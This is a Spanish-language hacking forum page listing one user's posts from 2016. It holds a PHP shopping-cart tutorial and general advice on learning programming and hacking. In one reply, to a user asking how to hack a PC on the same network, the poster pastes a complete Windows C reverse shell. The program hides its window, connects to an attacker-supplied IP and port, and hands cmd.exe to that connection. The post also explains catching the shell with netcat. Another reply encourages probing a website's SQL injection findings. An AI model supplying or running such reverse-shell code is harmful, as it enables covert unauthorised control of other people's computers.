elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: [1]
1  Seguridad Informática / Análisis y Diseño de Malware / Re: [Ayuda] Programas para generar virus en: 26 Febrero 2016, 18:03 pm
Te recomiendo que leas algún manual por acá en el foro o googlea, lo mejor es que los manejes vos a tu gusto y los programes vos.
La verdad que no conozco algún programa con la facilidad de generar virus, pero lo mejor sería que hagas tus propios códigos o modifiques otros. Saludos
2  Seguridad Informática / Hacking / Re: Fuerza Bruta con OWASP MANTRA en: 26 Febrero 2016, 09:41 am
Mira, en mi opinión Mantra es muy buen navegador porque, del lado del hacking, sirve más como un security web-site para encontrar vulnerabilidades en una página, de ahí al funcionamiento del fireforce, la verdad que no sabría decirte, creo que no es muy rápido, pero no es malo
3  Programación / PHP / [Tutorial] Crea tu propio carrito de compras para tu WebSite en: 16 Febrero 2016, 08:54 am
Buenas gente, hace mucho tiempo andaba trabajando en un diseño de una mini-empresa de electrodomésticos, y ellos tenían la idea de crear su propio "carrito" de compras para vender electrodomésticos por la web (con tarjeta de crédito y paypal)

Bueno, me empecé a adentrar un poco más en el tema y noté que había muchas formas y diseños de hacerlos, pero me acuerdo de una buena página que use para hacer este script de la forma más dinámica y mejor posible.

1. Entendiendo el script

Antes de pasar a la programación y a los archivos, es IMPRESINDIBLE entender el funcionamiento de estos, y que lugar ocupan

- Metodo add

Array de clave valor. Se encarga de agregar un producto al carro. Es contable (es decir, podríamos agregar más de una vez el mismo y, así, comprar dos o más)

- remove_producto

identifica cada producto, cifrando con md5 la id del producto y así, eliminará por completo todas las unidades de ese mismo

- get_content

Nos devuelve un array con todos los productos del carrito y la información de cada uno de ellos.

- precio_total

Devuelve el precio total del carrito de compras, por defecto, si el carrito está vacío el valor es de 0.

- artículos_total

Devuelve el número total de artículos del carrito, por defecto, si el carrito está vacío el valor es de 0.

- La función destroy

Elimina por completo el carrito de compras, una vez hecho, nuestro carrito tendrá valor NULL.

2. Comenzando el script

Primero que nada, destacaremos toda nuestra lógica sobre el script dentro de un archivo llamado carrito.class.php, con el siguiente contenido

Código
  1. <?php
  2.  
  3. class Carrito
  4. {
  5.  
  6. //aquí guardamos el contenido del carrito
  7. private $carrito = array();
  8.  
  9. //seteamos el carrito exista o no exista en el constructor
  10. public function __construct()
  11. {
  12.  
  13. if(!isset($_SESSION["carrito"]))
  14. {
  15. $_SESSION["carrito"] = null;
  16. $this->carrito["precio_total"] = 0;
  17. $this->carrito["articulos_total"] = 0;
  18. }
  19. $this->carrito = $_SESSION['carrito'];
  20. }
  21.  
  22. //añadimos un producto al carrito
  23. public function add($articulo = array())
  24. {
  25. //primero comprobamos el articulo a añadir, si está vacío o no es un
  26. //array lanzamos una excepción y cortamos la ejecución
  27. if(!is_array($articulo) || empty($articulo))
  28. {
  29. throw new Exception("Error, el articulo no es un array!", 1);
  30. }
  31.  
  32. //nuestro carro necesita siempre un id producto, cantidad y precio articulo
  33. if(!$articulo["id"] || !$articulo["cantidad"] || !$articulo["precio"])
  34. {
  35. throw new Exception("Error, el articulo debe tener un id, cantidad y precio!", 1);
  36. }
  37.  
  38. //nuestro carro necesita siempre un id producto, cantidad y precio articulo
  39. if(!is_numeric($articulo["id"]) || !is_numeric($articulo["cantidad"]) || !is_numeric($articulo["precio"]))
  40. {
  41. throw new Exception("Error, el id, cantidad y precio deben ser números!", 1);
  42. }
  43.  
  44. //debemos crear un identificador único para cada producto
  45. $unique_id = md5($articulo["id"]);
  46.  
  47. //creamos la id única para el producto
  48. $articulo["unique_id"] = $unique_id;
  49.  
  50. //si no está vacío el carrito lo recorremos
  51. if(!empty($this->carrito))
  52. {
  53. foreach ($this->carrito as $row)
  54. {
  55. //comprobamos si este producto ya estaba en el
  56. //carrito para actualizar el producto o insertar
  57. //un nuevo producto
  58. if($row["unique_id"] === $unique_id)
  59. {
  60. //si ya estaba sumamos la cantidad
  61. $articulo["cantidad"] = $row["cantidad"] + $articulo["cantidad"];
  62. }
  63. }
  64. }
  65.  
  66. //evitamos que nos pongan números negativos y que sólo sean números para cantidad y precio
  67. $articulo["cantidad"] = trim(preg_replace('/([^0-9\.])/i', '', $articulo["cantidad"]));
  68.    $articulo["precio"] = trim(preg_replace('/([^0-9\.])/i', '', $articulo["precio"]));
  69.  
  70.    //añadimos un elemento total al array carrito para
  71.    //saber el precio total de la suma de este artículo
  72.    $articulo["total"] = $articulo["cantidad"] * $articulo["precio"];
  73.  
  74.    //primero debemos eliminar el producto si es que estaba en el carrito
  75.    $this->unset_producto($unique_id);
  76.  
  77.    ///ahora añadimos el producto al carrito
  78.    $_SESSION["carrito"][$unique_id] = $articulo;
  79.  
  80.    //actualizamos el carrito
  81.    $this->update_carrito();
  82.  
  83.    //actualizamos el precio total y el número de artículos del carrito
  84.    //una vez hemos añadido el producto
  85.    $this->update_precio_cantidad();
  86.  
  87. }
  88.  
  89. //método que actualiza el precio total y la cantidad
  90. //de productos total del carrito
  91. private function update_precio_cantidad()
  92. {
  93. //seteamos las variables precio y artículos a 0
  94. $precio = 0;
  95. $articulos = 0;
  96.  
  97. //recorrecmos el contenido del carrito para actualizar
  98. //el precio total y el número de artículos
  99. foreach ($this->carrito as $row)
  100. {
  101. $precio += ($row['precio'] * $row['cantidad']);
  102. $articulos += $row['cantidad'];
  103. }
  104.  
  105. //asignamos a articulos_total el número de artículos actual
  106. //y al precio el precio actual
  107. $_SESSION['carrito']["articulos_total"] = $articulos;
  108. $_SESSION['carrito']["precio_total"] = $precio;
  109.  
  110. //refrescamos él contenido del carrito para que quedé actualizado
  111. $this->update_carrito();
  112. }
  113.  
  114. //método que retorna el precio total del carrito
  115. public function precio_total()
  116. {
  117. //si no está definido el elemento precio_total o no existe el carrito
  118. //el precio total será 0
  119. if(!isset($this->carrito["precio_total"]) || $this->carrito === null)
  120. {
  121. return 0;
  122. }
  123. //si no es númerico lanzamos una excepción porque no es correcto
  124. if(!is_numeric($this->carrito["precio_total"]))
  125. {
  126. throw new Exception("El precio total del carrito debe ser un número", 1);
  127. }
  128. //en otro caso devolvemos el precio total del carrito
  129. return $this->carrito["precio_total"] ? $this->carrito["precio_total"] : 0;
  130. }
  131.  
  132. //método que retorna el número de artículos del carrito
  133. public function articulos_total()
  134. {
  135. //si no está definido el elemento articulos_total o no existe el carrito
  136. //el número de artículos será de 0
  137. if(!isset($this->carrito["articulos_total"]) || $this->carrito === null)
  138. {
  139. return 0;
  140. }
  141. //si no es númerico lanzamos una excepción porque no es correcto
  142. if(!is_numeric($this->carrito["articulos_total"]))
  143. {
  144. throw new Exception("El número de artículos del carrito debe ser un número", 1);
  145. }
  146. //en otro caso devolvemos el número de artículos del carrito
  147. return $this->carrito["articulos_total"] ? $this->carrito["articulos_total"] : 0;
  148. }
  149.  
  150. //este método retorna el contenido del carrito
  151. public function get_content()
  152. {
  153. //asignamos el carrito a una variable
  154. $carrito = $this->carrito;
  155. //debemos eliminar del carrito el número de artículos
  156. //y el precio total para poder mostrar bien los artículos
  157. //ya que estos datos los devuelven los métodos
  158. //articulos_total y precio_total
  159. unset($carrito["articulos_total"]);
  160. unset($carrito["precio_total"]);
  161. return $carrito == null ? null : $carrito;
  162. }
  163.  
  164. //método que llamamos al insertar un nuevo producto al
  165. //carrito para eliminarlo si existia, así podemos insertarlo
  166. //de nuevo pero actualizado
  167. private function unset_producto($unique_id)
  168. {
  169. unset($_SESSION["carrito"][$unique_id]);
  170. }
  171.  
  172. //para eliminar un producto debemos pasar la clave única
  173. //que contiene cada uno de ellos
  174. public function remove_producto($unique_id)
  175. {
  176. //si no existe el carrito
  177. if($this->carrito === null)
  178. {
  179. throw new Exception("El carrito no existe!", 1);
  180. }
  181.  
  182. //si no existe la id única del producto en el carrito
  183. if(!isset($this->carrito[$unique_id]))
  184. {
  185. throw new Exception("La unique_id $unique_id no existe!", 1);
  186. }
  187.  
  188. //en otro caso, eliminamos el producto, actualizamos el carrito y
  189. //el precio y cantidad totales del carrito
  190. unset($_SESSION["carrito"][$unique_id]);
  191. $this->update_carrito();
  192. $this->update_precio_cantidad();
  193. return true;
  194. }
  195.  
  196. //eliminamos el contenido del carrito por completo
  197. public function destroy()
  198. {
  199. unset($_SESSION["carrito"]);
  200. $this->carrito = null;
  201. return true;
  202. }
  203.  
  204. //actualizamos el contenido del carrito
  205. public function update_carrito()
  206. {
  207. self::__construct();
  208. }
  209.  
  210. }

Te recomiendo que releas este archivo unas cuantas veces, así entenderías el total funcionamiento de este archivo y de por sí, el del script

3. Funcionamiento final

Crear un nuevo carrito


Código
  1. $carrito = new Carrito();


Añadir un producto al carrito


Código
  1. //array que crea un producto
  2. $articulo = array(
  3. "id" => 14,
  4. "cantidad" => 3,
  5. "precio" => 50,
  6. "nombre" => "camisetas"
  7. );
  8.  
  9. //añadir el producto
  10. //$carrito->add($articulo);


Eliminar un producto por su unique_id


Código
  1. $carrito->remove_producto("45c48cce2e2d7fbdea1afc51c7c6ad26");


Ese es el aspecto de un campo unique_id de cada producto.

Obtener el contenido del carrito


Código
  1. $carrito->get_content();


Obtener el precio total del carrito

Código
  1. $carrito->precio_total();


Obtener el número de artículos del carrito


Código
  1. $carrito->articulos_total();


Eliminar el contenido del carrito


Código
  1. $carrito->destroy();


Una vez creado el carrito y añadido algún producto, simplemente podemos mostrar los artículos de la siguiente forma.


Código
  1. //asignamos a $carro el método get_content() que contiene el contenido del carrito
  2. $carro = $carrito->get_content();
  3. if($carro)
  4. {
  5. foreach($carro as $producto)
  6. {
  7. echo $producto["id"];
  8. echo "<br />";
  9. echo $producto["unique_id"];
  10. echo "<br />";
  11. echo $producto["cantidad"];
  12. echo "<br />";
  13. echo $producto["precio"];
  14. echo "<br />";
  15. echo $producto["nombre"];
  16. echo "<br />";
  17. }
  18. }

De acá, solo quedaría juntar todo lo que nos falta a nuestro gusto y con nuestro diseño y listo, script funcionando

Espero que les haya servido, saludos y suerte ;-)
4  Seguridad Informática / Hacking / Re: Arrancar desde "0" con el tema de hacker en: 15 Febrero 2016, 13:28 pm
"No existe mejor comienzo, que terminar por el final"

Tan "estúpido" e inteligente a la vez. Comenza por entender una computadora, sus componentes, entender el sistema operativo en el que trabajas.
Luego dedícate a trabajar en lenguajes de programación(python y c+ para comenzar, además de html y css para estructura/diseño web básico)

Espero haberte ayudado, googlea lo que quieras saber con la terminación elhacker.net, en este foro hay más cosas de lo que pensas, saludos y suerte! ;-)
5  Seguridad Informática / Hacking / Re: hackeando pc en la misma red en: 15 Febrero 2016, 12:55 pm
Como te dijeron arriba

Creo que podrías trabajar con un shell remoto, usando netcat nmap, viendo sus puertos y escanearlos, para esto necesitarías su ip

Acá tenés un exploit para Windows, lo encontré en un posteo de Kasswed hace más de 10 años, tal vez siga funcionado (no estoy muy adentrado en el tema)

Código
  1. #include <winsock2.h>
  2. #include <stdio.h>
  3. #include <windows.h>
  4. #pragma comment(lib,"ws2_32")
  5. int main(int argc, char *argv[])
  6. {
  7.        ShowWindow(GetForegroundWindow(),SW_HIDE);
  8.        WSADATA wsaData;
  9.        SOCKET hSocket;
  10.        STARTUPINFO si;
  11.        PROCESS_INFORMATION pi;
  12.        struct sockaddr_in addr;
  13.        memset(&addr,0,sizeof(addr));
  14.        memset(&si,0,sizeof(si));
  15.        WSAStartup(MAKEWORD(2,0),&wsaData);
  16.        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
  17.        addr.sin_family = AF_INET;
  18.        addr.sin_port = htons(PUERTO); //Atencion a esta linea, aki va el
  19. puerto de conexion NetCat
  20.        addr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO
  21. NO-IP");//Atencion a esta linea, aki va tu IP
  22.        connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
  23.        si.cb = sizeof(si);
  24.        si.dwFlags = STARTF_USESTDHANDLES;
  25.        si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
  26.        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
  27.        ExitProcess(0);
  28. }
  29.  

Al parecer, este código se procesa en el puerto donde puedas escuchar y usar la conexión (eso ya es método tuyo, leé el link que te dejo abajo si querés saber más) , y gracias a este código, podrías hacer una conexión remotamente y no física. Fijate que el archivo hay que editarlo, leelo bien

Si quieres saber más, acá tenes el link

http://foro.elhacker.net/tutoriales_documentacion/manual_de_netcat-t87109.0.html

Espero haberte ayudado, suerte pibe, y contame como te fue  ::)
6  Seguridad Informática / Hacking / Re: Quiero aprender hacking etico. en: 15 Febrero 2016, 12:45 pm
Mira, primero que nada tendrías que saber manejarte en tu computadora (con tu sistema operativo, tus hadwares, etc.)

Un poco de información sobre el pasado y el desarrollo de los sistemas operativos, no viene nada mal (si nos ponemos a pensar, los programas más útiles hoy en día usados en el hacking, son los que existen hace unos cuantos años)

Un buen comienzo es empezar con programación phyton y luego C+
También te recomiendo que le eches un buen vistazo a la programación web, una rama muy interesante (comenzá leyendo un poco sobre lo que es una estructura web, html, css, luego php y js, jqwery y muchas más cosas que iras viendo más adelante) -totalmente necesario para adentrarse en el hacking

Espero haberte ayudado en algo, los manuales te los debo, pero en youtube hay buenos tutoriales y bien explicados, siempre que la persona sepa explicar! jeje, saludos y suerte ;-)
7  Programación / Desarrollo Web / Re: ¿Que estudiar para programacion web? en: 15 Febrero 2016, 12:23 pm
Si quieres comenzar programación web desde cero, te recomiendo que comiences por html y css a la vez, y vayas entendiendo la relación que hay entre ellos

html = texto
css = diseño

los dos son totalmente obligatorios para empezar a crear tus trabajos webs, luego podrías adentrarte en el mundo del php (que se encarga de la lógica del servidor) tiene muchísimos usos y sirve para crear un montón de scripts interesantes dentro de una web
Más adelante, podrías empezar con javascript, Jqwery y cosas adicionales muy buenas que existen hoy en día, pero ya sabes, adentrate en html y css, descarga plantillas gratis, editalas, busca nuevos diseños, intenta armar tu propia página de prueba.

Te recomiendo el programa Xampp, crea un servidor virtual en área local para que puedas ingresar desde tu pc y la de tus conexiones locales, muy buena para trabajar dinámicamente sin necesidad de andar usando hostings o ese tipo de cosas.

Saludos, y suerte
8  Seguridad Informática / Hacking / Re: Sql injection, ¿hay vulnerabilidad o no? en: 15 Febrero 2016, 12:01 pm
Creo que a lo que te referís son a los famosos "403" "406" ?

A mi parecer, si el WebCruiser te lo toma como vulnerabilidad, tendrías que adentrarte un poco más en esta "vulnerabilidad", seguramente lo sea, pero no visible tan fácilmente (esto suele suceder cuando quieren forzar a esconder una falla, pero no a modificarla)

Sinceramente, no sé mucho sobre SqlInjection, lo que si te puedo decir, es que intentes buscar la vulnerabilidad visible, usa las 152 "vulnerabilidades" encontradas, y fijate si con alguna te resulta. No te puedo ayudar más que con eso, ya que no estoy muy adentrado en el tema

Saludos y si lo solucionas contame como te fue, suerte. ;-) ;-)
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines